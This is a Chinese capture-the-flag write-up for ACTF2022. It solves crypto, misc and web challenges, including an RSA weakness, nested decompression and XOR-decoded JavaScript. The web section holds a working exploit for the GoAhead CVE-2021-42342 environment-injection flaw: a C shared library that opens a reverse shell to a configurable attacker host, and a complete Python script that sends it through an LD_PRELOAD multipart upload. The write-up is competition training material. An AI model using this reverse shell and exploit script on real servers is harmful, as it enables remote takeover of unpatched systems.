ACTF2022 Writeup
潜心 2022-6-27 CTFWriteupWebMiscCryptoACTF2022
期末复习不下去,所以上个号打一会。
# Crypto
# impossible RSA
Impossible
给出了密文和公钥,以及加密脚本
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
e = 65537
flag = b'ACTF{...}'
while True:
p = getPrime(1024)
q = inverse(e, p)
if not isPrime(q):
continue
n = p * q;
public = RSA.construct((n, e))
with open("public.pem", "wb") as file:
file.write(public.exportKey('PEM'))
with open("flag", "wb") as file:
file.write(long_to_bytes(pow(bytes_to_long(flag), e, n)))
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
已知q = inverse(e, p)
,即
这里可以知道
利用求根公式得
这里很明显取正数,然后遍历
from Crypto.PublicKey import RSA
import libnum
import gmpy2
key = RSA.importKey(open('public.pem').read())
n = key.n
e = key.e
with open("flag", "rb") as f:
c = libnum.s2n(f.read())
for k in range(e):
sqrt = gmpy2.iroot(1+4*e*k*n, 2)
if sqrt[1] == True:
try:
q = (1+sqrt[0])//(2*e)
p = n//q
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(libnum.n2s(int(m)))
except:
continue
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ACTF{F1nD1nG_5pEcia1_n_i5_nOt_eA5y}
1
# Misc
# signin
signin challenge, solve it fast
根据文件头进行相应地解压
import bz2
import lzma
import gzip
import zstandard
import shutil
filename = ["flag", "flag1"]
tag = 0
def my_bz2(input_file, output_file):
with open(input_file, "rb") as f:
with open(output_file, "wb") as g:
g.write(bz2.decompress(f.read()))
def my_xz(input_file, output_file):
with lzma.open(input_file, 'rb') as f:
with open(output_file, 'wb') as g:
shutil.copyfileobj(f, g)
def my_lzma(input_file, output_file):
with lzma.open(input_file, 'rb') as f:
with open(output_file, 'wb') as g:
shutil.copyfileobj(f, g)
def my_gzip(input_file, output_file):
with gzip.open(input_file, 'rb') as f:
with open(output_file, 'wb') as g:
shutil.copyfileobj(f, g)
def my_zstandard(input_file, output_file):
dctx = zstandard.ZstdDecompressor()
with open(input_file, "rb") as f:
with open(output_file, "wb") as g:
dctx.copy_stream(f, g)
while True:
with open(filename[tag], "rb") as f:
r = f.read()
if r[:5] == b"\x42\x5A\x68\x39\x31":
print("bz2")
my_bz2(filename[tag], filename[(tag+1)%2])
elif r[:5] == b"\xFD\x37\x7A\x58\x5A":
print("xz")
my_xz(filename[tag], filename[(tag+1)%2])
elif r[:5] == b"\x5D\x00\x00\x80\x00":
print("lzma")
my_lzma(filename[tag], filename[(tag+1)%2])
elif r[:3] == b"\x1F\x8B\x08":
print("gzip")
my_gzip(filename[tag], filename[(tag+1)%2])
elif r[:4] == b"\x28\xB5\x2F\xFD":
print("zstandard")
my_zstandard(filename[tag], filename[(tag+1)%2])
else:
print("filename:" + filename[tag])
print(r)
break
tag = (tag+1)%2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
ACTF{r0cK_4Nd_rolL_1n_C0mpr33s1ng_aNd_uNCOmrEs5iNg}
1
# Mahjoong
“zraxx: The essence of Japanese Mahjoong is defense.
immortal: Yakuman! Yakuman! Yakuman!”
121.37.133.172:10011
159.138.145.129:10011
在hule.js
中找到如下代码
a = [240,188,218,205,188,154,138,200,207,33,26,246,30,136,124,38,241,178,193,127,163,161,72,140,187,16,19];
b = [177, 255, 142, 139, 199, 227, 202, 163, 186, 76, 91, 152, 65, 185, 15, 121, 152, 220, 162, 13, 198, 197, 36, 191, 215, 117, 110];
for i, j in zip(a, b):
print(chr(i^j), end="")
1
2
3
4
5
2
3
4
5
ACTF{y@kumAn_1s_incredl3le}
1
# Web
# gogogo
ACTF warmup
http://123.60.84.229:10218
docker retstart every 10 minutes!
查看Dockerfile
wget -qO- https://github.com/embedthis/goahead/archive/refs/tags/v5.1.4.tar.gz | tar zx --strip-components 1 -C /usr/src/ \
1
下载源码,之后参考:CVE-2021-42342 GoAhead 远程命令执行漏洞深入分析与复现_黑客技术 (hackdig.com) (opens new window)
编写hack.c
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
char *server_ip="127.0.0.1";
uint32_t server_port=7777;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
//socket initialize
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
//connect to the server
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
//dup the socket to stdin, stdout and stderr
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
//execute /bin/sh to get a shell
execve("/bin/bash", 0, 0);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
IP和端口改成自己的,然后进行编译
gcc -s -shared -fPIC ./hack.c -o hack.so
1
使用这个脚本执行payload:vulhub/poc.py at master · vulhub/vulhub · GitHub (opens new window)
import sys
import socket
import ssl
import random
from urllib.parse import urlparse, ParseResult
PAYLOAD_MAX_LENGTH = 16384 - 200
def exploit(client, parts: ParseResult, payload: bytes):
path = '/' if not parts.path else parts.path
boundary = '----%s' % str(random.randint(1000000000000, 9999999999999))
padding = 'a' * 2000
content_length = min(len(payload) + 500, PAYLOAD_MAX_LENGTH)
data = fr'''POST {path} HTTP/1.1
Host: {parts.hostname}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary={boundary}
Content-Length: {content_length}
--{boundary}
Content-Disposition: form-data; name="LD_PRELOAD";
/proc/self/fd/7
--{boundary}
Content-Disposition: form-data; name="data"; filename="1.txt"
Content-Type: text/plain
#payload#{padding}
--{boundary}--
'''.replace('\n', '\r\n')
data = data.encode().replace(b'#payload#', payload)
client.send(data)
resp = client.recv(20480)
print(resp.decode())
def main():
target = sys.argv[1]
payload_filename = sys.argv[2]
with open(payload_filename, 'rb') as f:
data = f.read()
if len(data) > PAYLOAD_MAX_LENGTH:
raise Exception('payload size must not larger than %d', PAYLOAD_MAX_LENGTH)
parts = urlparse(target)
port = parts.port
if not parts.port:
if parts.scheme == 'https':
port = 443
else:
port = 80
context = ssl.create_default_context()
with socket.create_connection((parts.hostname, port), timeout=8) as client:
if parts.scheme == 'https':
with context.wrap_socket(client, server_hostname=parts.hostname) as ssock:
exploit(ssock, parts, data)
else:
exploit(client, parts, data)
if __name__ == '__main__':
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
同时监听端口即可getshell
ACTF{s1mple_3nv_1nj3ct1on_and_w1sh_y0u_hav3_a_g00d_tim3_1n_ACTF2022}
1